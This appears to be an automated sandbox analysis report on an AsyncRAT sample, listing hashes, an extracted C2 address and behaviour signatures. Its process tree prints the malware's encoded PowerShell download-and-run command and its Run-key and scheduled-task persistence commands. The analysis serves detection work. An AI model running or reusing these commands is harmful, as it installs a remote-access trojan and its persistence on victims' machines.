Analysis
-
max time kernel
129s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
01-01-2023 07:11
Static task
static1
Behavioral task
behavioral1
Sample
14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe
Resource
win10v2004-20221111-en
General
-
Target
14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe
-
Size
5KB
-
MD5
70b303ba1ea0d9b0e42d7d0a70fc5d67
-
SHA1
d9459c78ed2f8ba8419da111f7e38dddbb051e86
-
SHA256
14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800
-
SHA512
053464b02dd44a27102be12bce20f0722da817dbea5c1ae533eb81d8e54fb1e14c6d06c13fcf051b4f3f02a93633f63737466460346e6fbc738291859986ffc8
-
SSDEEP
96:nOTVR79YSCFYqr+UqDoNrtuNtUqSoQIntvngd3ojsKrl:s9YZFL+UqDGrQNtUqSVugdry
Malware Config
Extracted
asyncrat
0.5.7B
System Guard Runtime
85.105.88.221:2531
System Guard Runtime
-
delay
3
-
install
false
-
install_file
System Guard Runtime
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3076-149-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 17 2408 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
2.exepid process 4584 2.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation 14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe" powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
2.exedescription pid process target process PID 4584 set thread context of 3076 4584 2.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 2408 powershell.exe 2408 powershell.exe 3448 powershell.exe 3448 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2408 powershell.exe Token: SeDebugPrivilege 3448 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exepowershell.exe2.execmd.exedescription pid process target process PID 3804 wrote to memory of 2408 3804 14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe powershell.exe PID 3804 wrote to memory of 2408 3804 14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe powershell.exe PID 2408 wrote to memory of 4584 2408 powershell.exe 2.exe PID 2408 wrote to memory of 4584 2408 powershell.exe 2.exe PID 2408 wrote to memory of 4584 2408 powershell.exe 2.exe PID 4584 wrote to memory of 3448 4584 2.exe powershell.exe PID 4584 wrote to memory of 3448 4584 2.exe powershell.exe PID 4584 wrote to memory of 3448 4584 2.exe powershell.exe PID 4584 wrote to memory of 4536 4584 2.exe cmd.exe PID 4584 wrote to memory of 4536 4584 2.exe cmd.exe PID 4584 wrote to memory of 4536 4584 2.exe cmd.exe PID 4536 wrote to memory of 4384 4536 cmd.exe schtasks.exe PID 4536 wrote to memory of 4384 4536 cmd.exe schtasks.exe PID 4536 wrote to memory of 4384 4536 cmd.exe schtasks.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe PID 4584 wrote to memory of 3076 4584 2.exe RegAsm.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe"C:\Users\Admin\AppData\Local\Temp\14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbABjACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAwADMANAA5ADgANgAzADEAMQA4ADEAMAAvAEMAUgAuAGUAeABlACcALAAgADwAIwB1AGQAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGgAagB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIALgBlAHgAZQAnACkAKQA8ACMAcwBxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBxAHAAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGsAcAB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIALgBlAHgAZQAnACkAPAAjAGUAdgBzACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\2.exe"C:\Users\Admin\AppData\Roaming\2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD56b33cff2c64571ee8b1cf14f157f317f
SHA1ae4426839f5e8c28e8ac6d09b5499d1deda33fd2
SHA2560381f2b66fae947afa407755ca58105879f85411d9a78b99774059f982ee3619
SHA51261110504890848c0f2cff028a9f726445d5d63221bade9d3e801527483d29f9730051b10bdd5fa4b454cb40af130989c1aca3a123b5fe7ae665f3ee18c4fa2c2
-
C:\Users\Admin\AppData\Roaming\2.exeFilesize
87KB
MD53c6ccbfe897915f0fe6bc34d193bf4a0
SHA16fe3161ee66e317889066a302474e511220939e7
SHA25652bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241
SHA512e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536
-
C:\Users\Admin\AppData\Roaming\2.exeFilesize
87KB
MD53c6ccbfe897915f0fe6bc34d193bf4a0
SHA16fe3161ee66e317889066a302474e511220939e7
SHA25652bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241
SHA512e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536
-
memory/2408-133-0x0000000000000000-mapping.dmp
-
memory/2408-134-0x000002179B880000-0x000002179B8A2000-memory.dmpFilesize
136KB
-
memory/2408-136-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmpFilesize
10.8MB
-
memory/2408-137-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmpFilesize
10.8MB
-
memory/2408-141-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmpFilesize
10.8MB
-
memory/3076-148-0x0000000000000000-mapping.dmp
-
memory/3076-149-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/3448-153-0x0000000005B10000-0x0000000005B76000-memory.dmpFilesize
408KB
-
memory/3448-161-0x0000000007CC0000-0x0000000007CCA000-memory.dmpFilesize
40KB
-
memory/3448-166-0x0000000007FB0000-0x0000000007FD2000-memory.dmpFilesize
136KB
-
memory/3448-165-0x0000000007F70000-0x0000000007F78000-memory.dmpFilesize
32KB
-
memory/3448-155-0x0000000006940000-0x000000000695E000-memory.dmpFilesize
120KB
-
memory/3448-147-0x0000000002FB0000-0x0000000002FE6000-memory.dmpFilesize
216KB
-
memory/3448-164-0x0000000007F90000-0x0000000007FAA000-memory.dmpFilesize
104KB
-
memory/3448-156-0x0000000006F20000-0x0000000006F52000-memory.dmpFilesize
200KB
-
memory/3448-150-0x0000000005B90000-0x00000000061B8000-memory.dmpFilesize
6.2MB
-
memory/3448-151-0x0000000005900000-0x0000000005922000-memory.dmpFilesize
136KB
-
memory/3448-152-0x0000000005AA0000-0x0000000005B06000-memory.dmpFilesize
408KB
-
memory/3448-163-0x0000000007E80000-0x0000000007E8E000-memory.dmpFilesize
56KB
-
memory/3448-144-0x0000000000000000-mapping.dmp
-
memory/3448-162-0x0000000007ED0000-0x0000000007F66000-memory.dmpFilesize
600KB
-
memory/3448-160-0x0000000007C50000-0x0000000007C6A000-memory.dmpFilesize
104KB
-
memory/3448-157-0x00000000726F0000-0x000000007273C000-memory.dmpFilesize
304KB
-
memory/3448-158-0x0000000006F00000-0x0000000006F1E000-memory.dmpFilesize
120KB
-
memory/3448-159-0x00000000082A0000-0x000000000891A000-memory.dmpFilesize
6.5MB
-
memory/3804-132-0x00000000006C0000-0x00000000006C8000-memory.dmpFilesize
32KB
-
memory/3804-135-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmpFilesize
10.8MB
-
memory/4384-146-0x0000000000000000-mapping.dmp
-
memory/4536-145-0x0000000000000000-mapping.dmp
-
memory/4584-142-0x00000000005C0000-0x00000000005DC000-memory.dmpFilesize
112KB
-
memory/4584-143-0x00000000054B0000-0x0000000005A54000-memory.dmpFilesize
5.6MB
-
memory/4584-138-0x0000000000000000-mapping.dmp